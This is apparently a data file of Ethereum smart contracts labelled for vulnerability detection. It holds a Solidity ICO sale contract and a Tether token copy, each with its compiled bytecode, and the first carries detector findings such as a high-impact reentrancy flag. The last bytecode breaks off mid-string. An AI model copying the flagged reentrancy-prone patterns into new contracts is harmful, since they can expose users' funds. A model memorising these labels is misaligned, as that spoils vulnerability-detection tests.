currentCapEther.add(msg.value); paidEther[_participant] = paidEther[_participant].add(msg.value); Purchase(_participant, totalTokens, msg.value); return true; } /** * @dev Change minimum purchase amount any time only owner * @param _newMinimumPurchaseAmount New minimum puchase amount * @return A boolean that indicates if the operation was successful. */ function changeMinimumPurchaseAmount(uint _newMinimumPurchaseAmount) public onlyOwner returns(bool) { require(_newMinimumPurchaseAmount >= 0); minimumPurchaseAmount = _newMinimumPurchaseAmount; return true; } /** * @dev Add pre-sale purchased tokens only owner * @param _participant The address of the participant * @param _totalTokens Total tokens amount for pre-sale participant * @return A boolean that indicates if the operation was successful. */ function addPreSalePurchaseTokens(address _participant, uint _totalTokens) public onlyOwner returns(bool) { require(_participant != 0x0); require(_totalTokens > 0); require(currentCapTokens.add(_totalTokens) <= saleTokensCents); require(token.transferFrom(owner, _participant, _totalTokens)); sentTokens[_participant] = sentTokens[_participant].add(_totalTokens); preSaleParticipantTokens[_participant] = preSaleParticipantTokens[_participant].add(_totalTokens); currentCapTokens = currentCapTokens.add(_totalTokens); PreSalePurchase(_participant, _totalTokens); return true; } /** * @dev Is finish date ICO reached? * @return A boolean that indicates if finish date ICO reached. */ function isFinishDateReached() public constant returns(bool) { return endDate <= now; } /** * @dev Is hard cap tokens reached? * @return A boolean that indicates if hard cap tokens reached. */ function isHardCapTokensReached() public constant returns(bool) { return hardCapTokens <= currentCapTokens; } /** * @dev Is ICO Finished? * @return A boolean that indicates if ICO finished. */ function isIcoFinished() public constant returns(bool) { return isFinishDateReached() || isHardCapTokensReached(); } /** * @dev Calc total tokens for fixed value and bonus percent * @param _value Amount of ether * @param _bonusPercent Bonus percent * @return uint */ function calcTotalTokens(uint _value, uint _bonusPercent) internal view returns(uint) { uint tokensAmount = _value.mul(tokenCents).div(tokenPriceWei); require(tokensAmount > 0); uint bonusTokens = tokensAmount.mul(_bonusPercent).div(100); uint totalTokens = tokensAmount.add(bonusTokens); return totalTokens; } /** * @dev Get current bonus percent for this transaction * @return uint */ function getCurrentBonusPercent() internal constant returns (uint) { uint currentBonusPercent; if (now <= bonusEndDate) { currentBonusPercent = bonusPercent; } else { currentBonusPercent = 0; } return currentBonusPercent; } } contract SelfllerySale is SelfllerySaleFoundation { address constant TOKEN_ADDRESS = 0x7e921CA9b78d9A6cCC39891BA545836365525C06; // Token YOU address constant SELFLLERY_MANAGER_WALLET = 0xdABb398298192192e5d4Ed2f120Ff7Af312B06eb;// SELFLLERY PTE LTD uint constant TOKEN_CENTS = 1e18; uint constant TOKEN_PRICE_WEI = 1e15; uint constant SALE_TOKENS_CENTS = 55000000 * TOKEN_CENTS; uint constant SALE_HARD_CAP_TOKENS = 55000000 * TOKEN_CENTS; uint8 constant BONUS_PERCENT = 5; uint constant MINIMUM_PURCHASE_AMOUNT = 0.1 ether; uint constant SALE_START_DATE = 1520240400; // 05.03.2018 9:00 UTC uint constant SALE_BONUS_END_DATE = 1520413200; // 07.03.2018 9:00 UTC uint constant SALE_END_DATE = 1522144800; // 27.03.2018 10:00 UTC /** * @dev Initialize the ICO contract */ function SelfllerySale() public SelfllerySaleFoundation( TOKEN_ADDRESS, SELFLLERY_MANAGER_WALLET, TOKEN_CENTS, TOKEN_PRICE_WEI, SALE_TOKENS_CENTS, SALE_START_DATE, SALE_BONUS_END_DATE, SALE_END_DATE, SALE_HARD_CAP_TOKENS, MINIMUM_PURCHASE_AMOUNT, BONUS_PERCENT ) {} }
0x60606040526004361061012f5763ffffffff60e060020a60003504166305d0f15b811461013a578063068e9d6f1461015f5780630b97bc861461017e57806329d287ec146101915780632f7f2db0146101b857806338af4eff146101d75780633a62cd2e146101ea5780634b749535146101fd57806364edfbf01461021057806372998ee1146102185780637a543a941461023a5780638da5cb5b1461024d5780639a165f6c1461027c578063ad84eaab1461028f578063adaabaaa146102a2578063b3f0ca51146102b5578063becf3add146102d4578063c24a0f8b146102fd578063dba33c0314610310578063e3db667014610323578063e7d47c2e14610336578063f2fde38b14610349578063f45726641461036a578063f6e4641f14610380578063fc0c546a14610394575b6101376103a7565b50005b341561014557600080fd5b61014d6103b7565b60405190815260200160405180910390f35b341561016a57600080fd5b61014d600160a060020a03600435166103bd565b341561018957600080fd5b61014d6103cf565b341561019c57600080fd5b6101a46103d5565b604051901515815260200160405180910390f35b34156101c357600080fd5b61014d600160a060020a03600435166103df565b34156101e257600080fd5b61014d6103f1565b34156101f557600080fd5b61014d6103f7565b341561020857600080fd5b61014d6103fd565b6101a46103a7565b341561022357600080fd5b6101a4600160a060020a0360043516602435610403565b341561024557600080fd5b6101a46105d1565b341561025857600080fd5b6102606105e9565b604051600160a060020a03909116815260200160405180910390f35b341561028757600080fd5b61014d6105f8565b341561029a57600080fd5b61014d6105fe565b34156102ad57600080fd5b61014d610604565b34156102c057600080fd5b61014d600160a060020a036004351661060a565b34156102df57600080fd5b6102e761061c565b60405160ff909116815260200160405180910390f35b341561030857600080fd5b61014d610625565b341561031b57600080fd5b61014d61062b565b341561032e57600080fd5b6101a4610631565b341561034157600080fd5b61026061063c565b341561035457600080fd5b610368600160a060020a036004351661064b565b005b341561037557600080fd5b6101a46004356106e6565b6101a4600160a060020a0360043516610719565b341561039f57600080fd5b61026061098d565b60006103b233610719565b905090565b60075481565b60026020526000908152604090205481565b600b5481565b600d544290111590565b60016020526000908152604090205481565b60065481565b600a5481565b600e5481565b6000805433600160a060020a0390811691161461041f57600080fd5b600160a060020a038316151561043457600080fd5b6000821161044157600080fd5b600854600954610457908463ffffffff61099c16565b111561046257600080fd5b60055460008054600160a060020a03928316926323b872dd92911690869086906040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156104d857600080fd5b6102c65a03f115156104e957600080fd5b5050506040518051905015156104fe57600080fd5b600160a060020a038316600090815260036020526040902054610527908363ffffffff61099c16565b600160a060020a03841660009081526003602090815260408083209390935560029052205461055c908363ffffffff61099c16565b600160a060020a038416600090815260026020526040902055600954610588908363ffffffff61099c16565b600955600160a060020a0383167f71a37616744ce4e93b51d0b6ee14a3a086ba589c64482d350e66e17c3607170c8360405190815260200160405180910390a250600192915050565b60006105db6103d5565b806103b257506103b2610631565b600054600160a060020a031681565b60095481565b600f5481565b600c5481565b60036020526000908152604090205481565b60105460ff1681565b600d5481565b60085481565b600954600e54111590565b600454600160a060020a031681565b60005433600160a060020a0390811691161461066657600080fd5b600160a060020a038116151561067b57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805433600160a060020a0390811691161461070257600080fd5b600082101561071057600080fd5b50600f55600190565b6000806000600b5442101580156107325750600d544211155b151561073d57600080fd5b600160a060020a038416151561075257600080fd5b600f54600160a060020a03851660009081526001602052604090205461077e903463ffffffff61099c16565b101561078957600080fd5b600454600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156107bd57600080fd5b6107c56109b6565b91506107d134836109d9565b90506008546107eb8260095461099c90919063ffffffff16565b11156107f657600080fd5b60055460008054600160a060020a03928316926323b872dd92911690879085906040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561086c57600080fd5b6102c65a03f1151561087d57600080fd5b50505060405180519050151561089257600080fd5b600160a060020a0384166000908152600360205260409020546108bb908263ffffffff61099c16565b600160a060020a0385166000908152600360205260409020556009546108e7908263ffffffff61099c16565b600955600a546108fd903463ffffffff61099c16565b600a55600160a060020a038416600090815260016020526040902054610929903463ffffffff61099c16565b600160a060020a0385166000818152600160205260409081902092909255907f12cb4648cf3058b17ceeb33e579f8b0bc269fe0843f3900b8e24b6c54871703c90839034905191825260208201526040908101905180910390a25060019392505050565b600554600160a060020a031681565b6000828201838110156109ab57fe5b8091505b5092915050565b600080600c54421115156109d0575060105460ff166109d4565b5060005b919050565b600080600080610a066007546109fa60065489610a4690919063ffffffff16565b9063ffffffff610a7116565b925060008311610a1557600080fd5b610a2a60646109fa858863ffffffff610a4616565b9150610a3c838363ffffffff61099c16565b9695505050505050565b600080831515610a5957600091506109af565b50828202828482811515610a6957fe5b04146109ab57fe5b6000808284811515610a7f57fe5b049493505050505600a165627a7a72305820f9b64dcbf436907093b0422d5aa68ce8015e86db7a4477b59ff886c4091900910029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,946
0x49a0e37289debd815a1e20b7c700375951656e30
/** *Submitted for verification at Etherscan.io on 2021-11-16 */ /** *Submitted for verification at Etherscan.io on 2017-11-28 */ pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract TetherToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x606060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c14610229578063095ea7b3146102625780630e136b19146102a45780630ecb93c0146102d157806318160ddd1461030a57806323b872dd1461033357806326976e3f1461039457806327e235e3146103e9578063313ce56714610436578063353907141461045f5780633eaaf86b146104885780633f4ba83a146104b157806359bf1abe146104c65780635c658165146105175780635c975abb1461058357806370a08231146105b05780638456cb59146105fd578063893d20e8146106125780638da5cb5b1461066757806395d89b41146106bc578063a9059cbb1461074a578063c0324c771461078c578063cc872b66146107b8578063db006a75146107db578063dd62ed3e146107fe578063dd644f721461086a578063e47d606014610893578063e4997dc5146108e4578063e5b5019a1461091d578063f2fde38b14610946578063f3bdc2281461097f575b600080fd5b34156101a657600080fd5b6101ae6109b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ee5780820151818401526020810190506101d3565b50505050905090810190601f16801561021b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023457600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a56565b005b341561026d57600080fd5b6102a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b73565b005b34156102af57600080fd5b6102b7610cc1565b604051808215151515815260200191505060405180910390f35b34156102dc57600080fd5b610308600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd4565b005b341561031557600080fd5b61031d610ded565b6040518082815260200191505060405180910390f35b341561033e57600080fd5b610392600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebd565b005b341561039f57600080fd5b6103a761109d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b610420600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c3565b6040518082815260200191505060405180910390f35b341561044157600080fd5b6104496110db565b6040518082815260200191505060405180910390f35b341561046a57600080fd5b6104726110e1565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b6110e7565b6040518082815260200191505060405180910390f35b34156104bc57600080fd5b6104c46110ed565b005b34156104d157600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ab565b604051808215151515815260200191505060405180910390f35b341561052257600080fd5b61056d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611201565b6040518082815260200191505060405180910390f35b341561058e57600080fd5b610596611226565b604051808215151515815260200191505060405180910390f35b34156105bb57600080fd5b6105e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611239565b6040518082815260200191505060405180910390f35b341561060857600080fd5b610610611348565b005b341561061d57600080fd5b610625611408565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067257600080fd5b61067a611431565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c757600080fd5b6106cf611456565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070f5780820151818401526020810190506106f4565b50505050905090810190601f16801561073c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075557600080fd5b61078a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114f4565b005b341561079757600080fd5b6107b6600480803590602001909190803590602001909190505061169e565b005b34156107c357600080fd5b6107d96004808035906020019091905050611783565b005b34156107e657600080fd5b6107fc600480803590602001909190505061197a565b005b341561080957600080fd5b610854600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b0d565b6040518082815260200191505060405180910390f35b341561087557600080fd5b61087d611c52565b6040518082815260200191505060405180910390f35b341561089e57600080fd5b6108ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c58565b604051808215151515815260200191505060405180910390f35b34156108ef57600080fd5b61091b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c78565b005b341561092857600080fd5b610930611d91565b6040518082815260200191505060405180910390f35b341561095157600080fd5b61097d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611db5565b005b341561098a57600080fd5b6109b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e8a565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4e5780601f10610a2357610100808354040283529160200191610a4e565b820191906000526020600020905b815481529060010190602001808311610a3157829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ab157600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610b8b57600080fd5b600a60149054906101000a900460ff1615610cb157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515610c9857600080fd5b6102c65a03f11515610ca957600080fd5b505050610cbc565b610cbb838361200e565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2f57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610eb457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e9257600080fd5b6102c65a03f11515610ea357600080fd5b505050604051805190509050610eba565b60015490505b90565b600060149054906101000a900460ff16151515610ed957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f3257600080fd5b600a60149054906101000a900460ff161561108c57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b151561107357600080fd5b6102c65a03f1151561108457600080fd5b505050611098565b6110978383836121ab565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114857600080fd5b600060149054906101000a900460ff16151561116357600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561133757600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561131557600080fd5b6102c65a03f1151561132657600080fd5b505050604051805190509050611343565b61134082612652565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a357600080fd5b600060149054906101000a900460ff161515156113bf57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114ec5780601f106114c1576101008083540402835291602001916114ec565b820191906000526020600020905b8154815290600101906020018083116114cf57829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561151057600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561156957600080fd5b600a60149054906101000a900460ff161561168f57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561167657600080fd5b6102c65a03f1151561168757600080fd5b50505061169a565b611699828261269b565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116f957600080fd5b60148210151561170857600080fd5b60328110151561171757600080fd5b81600381905550611736600954600a0a82612a0390919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117de57600080fd5b60015481600154011115156117f257600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118c257600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17a